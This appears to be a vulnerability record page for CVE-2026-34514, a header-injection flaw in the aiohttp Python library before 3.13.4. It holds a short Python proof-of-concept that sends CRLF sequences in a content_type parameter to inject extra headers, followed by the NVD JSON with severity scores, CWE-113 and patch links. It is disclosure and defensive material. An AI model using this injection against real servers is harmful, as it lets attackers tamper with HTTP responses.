CVE-2026-34514

import aiohttp import asyncio # PoC for HTTP Header Injection in aiohttp < 3.13.4 # This script demonstrates how a crafted Content-Type can inject headers. async def main(): url = 'http://vulnerable-endpoint/api' # Injecting CRLF characters (%0d%0a) to add a new header malicious_content_type = 'text/plain\r\nX-Injected-Header: POC-Value\r\nX-Another-Header: Test' headers = { 'User-Agent': 'PoC-Scanner', } # Assuming the endpoint takes 'content_type' as a query or body parameter # and passes it unsanitized to the response headers. params = { 'content_type': malicious_content_type } async with aiohttp.ClientSession() as session: try: async with session.get(url, params=params, headers=headers) as resp: print(f"Status: {resp.status}") print(f"Response Headers: {resp.headers}") # Check if the injected header is present in the response if 'X-Injected-Header' in resp.headers: print("[+] Vulnerability Confirmed: Header injected successfully!") else: print("[-] Vulnerability not detected or patched.") except Exception as e: print(f"Error: {e}") if __name__ == '__main__': asyncio.run(main())

{"cve": {"id": "CVE-2026-34514", "sourceIdentifier": "[email protected]", "published": "2026-04-01T21:16:59.417", "lastModified": "2026-04-15T14:13:42.230", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.13.4, an attacker who controls the content_type parameter in aiohttp could use this to inject extra headers or similar exploits. This issue has been patched in version 3.13.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-113"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.13.4", "matchCriteriaId": "7B8B1C30-52F7-467A-A7D0-F6A786E84AF9"}]}]}], "references": [{"url": "https://github.com/aio-libs/aiohttp/commit/9a6ada97e2c6cf1ce31727c6c9fcea17c21f6f06", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-2vrm-gr82-f7m5", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}